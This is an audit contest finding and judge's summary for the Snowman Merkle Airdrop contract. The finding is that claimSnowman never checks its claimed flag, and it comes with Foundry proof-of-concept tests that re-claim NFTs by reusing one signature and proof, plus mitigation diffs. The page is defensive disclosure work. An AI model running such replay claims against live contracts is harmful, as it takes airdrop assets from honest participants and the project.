Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: low
Valid

[H-01] The airdrop can be claimed unlimited times: `s_hasClaimedSnowman` is written but never checked

Root + Impact

Description

  • Each eligible address should be able to claim its Snowman allocation exactly once; the mapping s_hasClaimedSnowman and its getter exist for that purpose.

  • claimSnowman writes s_hasClaimedSnowman[receiver] = true but never reads it. The only barrier against a second claim is the zero-balance check, and the balance is topped up freely via earnSnow(). Because the leaf and the signed digest are both derived from the live balanceOf, restoring the original amount makes the old signature and Merkle proof valid again.

function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external nonReentrant
{
if (i_snow.balanceOf(receiver) == 0) revert SA__ZeroAmount(); // the ONLY barrier
...
@> uint256 amount = i_snow.balanceOf(receiver); // eligibility from live balance
@> bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
...
@> s_hasClaimedSnowman[receiver] = true; // written, but never checked
i_snowman.mintSnowman(receiver, amount);
}

Risk

Likelihood:

  • Any eligible claimant tops their SNOW back up with earnSnow() (free, once a week) or buySnow() and calls claimSnowman again with the same signature and proof.

    • The signature carries no nonce or deadline, so it is reusable indefinitely.

Impact:

  • Unlimited minting of Snowman NFTs by any eligible address, at zero cost via earnSnow.

    • The airdrop's one-allocation-per-user guarantee is broken and all honest participants are diluted.

Proof of Concept

The test claims once (1 NFT), then tops the SNOW balance back to the original amount and calls claimSnowman again reusing the SAME signature and Merkle proof, asserting the NFT balance keeps growing. Both variants pass: 3 NFTs paying via buySnow, and 4 NFTs for free via earnSnow.

Verified with Foundry (test_elMismoUsuarioReclamaElAirdropTresVeces, test_yEncimaSaleGratisConEarnSnow), forge test passing:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console2} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
import {Helper} from "../script/Helper.s.sol";
/// @notice PoC: `s_hasClaimedSnowman` se ESCRIBE (L94) y se expone en un getter (L138),
/// pero `claimSnowman()` NUNCA lo comprueba. La única barrera contra el segundo claim es
/// `i_snow.balanceOf(receiver) == 0` (L76) - y ese balance se repone comprando SNOW.
/// Como el digest firmado y el leaf del Merkle se derivan del MISMO balance, al recuperar
/// la cantidad original la firma y la prueba ANTIGUAS vuelven a ser válidas: el airdrop se
/// puede reclamar tantas veces como se quiera.
contract ReclaimInfinitoTest is Test {
Snow snow;
Snowman nft;
SnowmanAirdrop airdrop;
MockWETH weth;
Helper deployer;
// Prueba de Merkle de alice, tal cual la usan los tests del propio proyecto
bytes32[] AL_PROOF = [
bytes32(0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52),
bytes32(0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af),
bytes32(0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1)
];
address alice;
uint256 alKey;
function setUp() public {
deployer = new Helper();
(airdrop, snow, nft, weth) = deployer.run();
(alice, alKey) = makeAddrAndKey("alice");
}
function test_elMismoUsuarioReclamaElAirdropTresVeces() public {
uint256 fee = snow.s_buyFee();
vm.deal(alice, 10 ether);
// La firma se hace UNA sola vez, al principio.
vm.prank(alice);
snow.approve(address(airdrop), 1);
bytes32 digest = airdrop.getMessageHash(alice);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, digest);
// --- Claim 1: el legítimo ---
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
assertEq(nft.balanceOf(alice), 1, "primer claim");
assertTrue(airdrop.getClaimStatus(alice), "el contrato YA sabe que alice reclamo");
assertEq(snow.balanceOf(alice), 0, "sus SNOW se fueron al contrato");
// --- Claims 2 y 3: repone el balance y repite con la MISMA firma y proof ---
for (uint256 i = 2; i <= 3; i++) {
vm.startPrank(alice);
snow.buySnow{value: fee}(1); // recupera exactamente el amount del arbol
snow.approve(address(airdrop), 1);
vm.stopPrank();
// ni la firma ni la prueba se regeneran: valen las de la primera vez
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
assertEq(nft.balanceOf(alice), i, "claim repetido con la firma antigua");
console2.log("NFTs de alice tras el claim", i, ":", nft.balanceOf(alice));
}
// El flag dice "ya reclamo" desde el primer claim... y no sirve absolutamente de nada.
assertTrue(airdrop.getClaimStatus(alice));
assertEq(nft.balanceOf(alice), 3, "3 NFTs de un airdrop que deberia dar 1");
console2.log("coste por NFT extra (wei):", fee);
}
/// @notice La misma explotación pero SIN pagar nada: `earnSnow()` regala 1 SNOW, que es
/// justo el amount de alice en el árbol. El único freno es esperar 1 semana, así que el
/// ataque no cuesta gas más allá de las llamadas: no depende del precio del NFT.
function test_yEncimaSaleGratisConEarnSnow() public {
vm.prank(alice);
snow.approve(address(airdrop), 1);
bytes32 digest = airdrop.getMessageHash(alice);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, digest);
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
assertEq(nft.balanceOf(alice), 1);
for (uint256 i = 2; i <= 4; i++) {
vm.warp(block.timestamp + 1 weeks + 1);
vm.startPrank(alice);
snow.earnSnow(); // gratis: mintea 1 SNOW
snow.approve(address(airdrop), 1);
vm.stopPrank();
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
}
assertEq(nft.balanceOf(alice), 4, "4 NFTs sin gastar un solo wei en fees");
console2.log("NFTs obtenidos gratis:", nft.balanceOf(alice));
}
}

Recommended Mitigation

Check the s_hasClaimedSnowman flag that already exists, at the start of claimSnowman, so a second claim reverts:

function claimSnowman(...) external nonReentrant {
if (receiver == address(0)) revert SA__ZeroAddress();
+ if (s_hasClaimedSnowman[receiver]) revert SA__AlreadyClaimed();
...
}

Additionally, fix the allocation in the Merkle leaf and pass amount as a parameter instead of reading balanceOf, and add a nonce/deadline to the signed message.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[L-01] Missing Claim Status Check Allows Multiple Claims in SnowmanAirdrop.sol::claimSnowman

# Root + Impact &#x20; **Root:** The [`claimSnowman`](https://github.com/CodeHawks-Contests/2025-06-snowman-merkle-airdrop/blob/b63f391444e69240f176a14a577c78cb85e4cf71/src/SnowmanAirdrop.sol#L44) function updates `s_hasClaimedSnowman[receiver] = true` but never checks if the user has already claimed before processing the claim, allowing users to claim multiple times if they acquire more Snow tokens. **Impact:** Users can bypass the intended one-time airdrop limit by claiming, acquiring more Snow tokens, and claiming again, breaking the airdrop distribution model and allowing unlimited NFT minting for eligible users. ## Description * **Normal Behavior:** Airdrop mechanisms should enforce one claim per eligible user to ensure fair distribution and prevent abuse of the reward system. * **Specific Issue:** The function sets the claim status to true after processing but never validates if `s_hasClaimedSnowman[receiver]` is already true at the beginning, allowing users to claim multiple times as long as they have Snow tokens and valid proofs. ## Risk **Likelihood**: Medium * Users need to acquire additional Snow tokens between claims, which requires time and effort * Users must maintain their merkle proof validity across multiple claims * Attack requires understanding of the missing validation check **Impact**: High * **Airdrop Abuse**: Users can claim far more NFTs than intended by the distribution mechanism * **Unfair Distribution**: Some users receive multiple rewards while others may receive none * **Economic Manipulation**: Breaks the intended scarcity and distribution model of the NFT collection ## Proof of Concept Add the following test to TestSnowMan.t.sol  ```Solidity function testMultipleClaimsAllowed() public { // Alice claims her first NFT vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest = airdrop.getMessageHash(alice); (uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, aliceDigest); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v, r, s); assert(nft.balanceOf(alice) == 1); assert(airdrop.getClaimStatus(alice) == true); // Alice acquires more Snow tokens (wait for timer and earn again) vm.warp(block.timestamp + 1 weeks); vm.prank(alice); snow.earnSnow(); // Alice can claim AGAIN with new Snow tokens! vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest2 = airdrop.getMessageHash(alice); (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, aliceDigest2); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2); // Second claim succeeds! assert(nft.balanceOf(alice) == 2); // Alice now has 2 NFTs } ``` ## Recommended Mitigation **Add a claim status check at the beginning of the function** to prevent users from claiming multiple times. ```diff // Add new error + error SA__AlreadyClaimed(); function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { + if (s_hasClaimedSnowman[receiver]) { + revert SA__AlreadyClaimed(); + } + if (receiver == address(0)) { revert SA__ZeroAddress(); } // Rest of function logic... s_hasClaimedSnowman[receiver] = true; } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!